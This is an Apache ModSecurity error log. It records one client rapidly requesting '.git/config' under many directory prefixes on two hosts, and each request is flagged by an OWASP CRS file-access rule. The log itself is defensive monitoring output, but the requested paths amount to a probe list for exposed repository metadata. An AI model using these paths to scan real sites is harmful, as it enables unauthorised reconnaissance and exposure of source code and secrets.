[Fri Jul 17 08:36:34.591861 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOiQk8BZ0iVFZXo_s0wAAABI"]
[Fri Jul 17 08:36:34.592789 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /wordpress/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/wordpress/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s1AAAABI"]
[Fri Jul 17 08:36:34.592881 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /wp-admin/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/wp-admin/.git/config"] [unique_id "almcOoRpm5MObcED3Q9qPwAAABE"]
[Fri Jul 17 08:36:34.593027 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/wordpress/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s1AAAABI"]
[Fri Jul 17 08:36:34.593164 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/wp-admin/.git/config"] [unique_id "almcOoRpm5MObcED3Q9qPwAAABE"]
[Fri Jul 17 08:36:34.593259 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOiQk8BZ0iVFZXo_s1AAAABI"]
[Fri Jul 17 08:36:34.593277 2026] [security2:error] [pid 2018756:tid 2018756] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /wordpress/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/wordpress/.git/config"] [unique_id "almcOlj3APi97Jc9pUXW4AAAAA8"]
[Fri Jul 17 08:36:34.593453 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOoRpm5MObcED3Q9qPwAAABE"]
[Fri Jul 17 08:36:34.593619 2026] [security2:error] [pid 2018756:tid 2018756] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/wordpress/.git/config"] [unique_id "almcOlj3APi97Jc9pUXW4AAAAA8"]
[Fri Jul 17 08:36:34.593869 2026] [hostinglimits:warn] [pid 2018756:tid 2018756] mod_hostinglimits: Error on LVE enter: LVE(1038) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/a0191fd9863fa1c0a9cd7cca0530204df24178be.sock|fcgi://jrdcback.ksoft.web.lk) HOSTNAME(www.jrdcback.ksoft.web.lk) URL(/index.php) TID(2018756) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:36:34.594103 2026] [security2:error] [pid 2018756:tid 2018756] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "almcOlj3APi97Jc9pUXW4AAAAA8"]
[Fri Jul 17 08:36:34.595411 2026] [security2:error] [pid 2018756:tid 2018756] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almcOlj3APi97Jc9pUXW4QAAAA8"]
[Fri Jul 17 08:36:34.595725 2026] [security2:error] [pid 2018756:tid 2018756] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almcOlj3APi97Jc9pUXW4QAAAA8"]
[Fri Jul 17 08:36:34.596012 2026] [security2:error] [pid 2018756:tid 2018756] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOlj3APi97Jc9pUXW4QAAAA8"]
[Fri Jul 17 08:36:34.596159 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s1QAAABI"]
[Fri Jul 17 08:36:34.596269 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/modules/.git/config"] [unique_id "almcOkkXT4NBqALj2lZ6UwAAABA"]
[Fri Jul 17 08:36:34.596349 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s1QAAABI"]
[Fri Jul 17 08:36:34.596695 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOkkXT4NBqALj2lZ6UwAAABA"]
[Fri Jul 17 08:36:34.597140 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOiQk8BZ0iVFZXo_s1QAAABI"]
[Fri Jul 17 08:36:34.598027 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /src/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/src/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s1gAAABI"]
[Fri Jul 17 08:36:34.598154 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /public/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/public/.git/config"] [unique_id "almcOkkXT4NBqALj2lZ6VAAAABA"]
[Fri Jul 17 08:36:34.598285 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/src/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s1gAAABI"]
[Fri Jul 17 08:36:34.598350 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/api/.git/config"] [unique_id "almcOoRpm5MObcED3Q9qQAAAABE"]
[Fri Jul 17 08:36:34.598430 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/public/.git/config"] [unique_id "almcOkkXT4NBqALj2lZ6VAAAABA"]
[Fri Jul 17 08:36:34.598528 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOiQk8BZ0iVFZXo_s1gAAABI"]
[Fri Jul 17 08:36:34.598595 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/api/.git/config"] [unique_id "almcOoRpm5MObcED3Q9qQAAAABE"]
[Fri Jul 17 08:36:34.598694 2026] [security2:error] [pid 2018757:tid 2018757] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOkkXT4NBqALj2lZ6VAAAABA"]
[Fri Jul 17 08:36:34.598909 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOoRpm5MObcED3Q9qQAAAABE"]
[Fri Jul 17 08:36:34.600672 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /packages/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/packages/.git/config"] [unique_id "almcOoRpm5MObcED3Q9qQQAAABE"]
[Fri Jul 17 08:36:34.600987 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/packages/.git/config"] [unique_id "almcOoRpm5MObcED3Q9qQQAAABE"]
[Fri Jul 17 08:36:34.601202 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /src/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/src/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s1wAAABI"]
[Fri Jul 17 08:36:34.601316 2026] [security2:error] [pid 2018758:tid 2018758] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOoRpm5MObcED3Q9qQQAAABE"]
[Fri Jul 17 08:36:34.601379 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/src/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s1wAAABI"]
[Fri Jul 17 08:36:34.601631 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOiQk8BZ0iVFZXo_s1wAAABI"]
[Fri Jul 17 08:36:34.603400 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /microservices/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/microservices/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s2AAAABI"]
[Fri Jul 17 08:36:34.604076 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/microservices/.git/config"] [unique_id "almcOiQk8BZ0iVFZXo_s2AAAABI"]
[Fri Jul 17 08:36:34.604383 2026] [security2:error] [pid 2018756:tid 2018756] [client 2.57.122.13:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /packages/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/packages/.git/config"] [unique_id "almcOlj3APi97Jc9pUXW4gAAAA8"]
[Fri Jul 17 08:36:34.604408 2026] [security2:error] [pid 2018759:tid 2018759] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOiQk8BZ0iVFZXo_s2AAAABI"]
[Fri Jul 17 08:36:34.604684 2026] [security2:error] [pid 2018756:tid 2018756] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/packages/.git/config"] [unique_id "almcOlj3APi97Jc9pUXW4gAAAA8"]
[Fri Jul 17 08:36:34.605012 2026] [security2:error] [pid 2018756:tid 2018756] [client 2.57.122.13:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almcOlj3APi97Jc9pUXW4gAAAA8"]
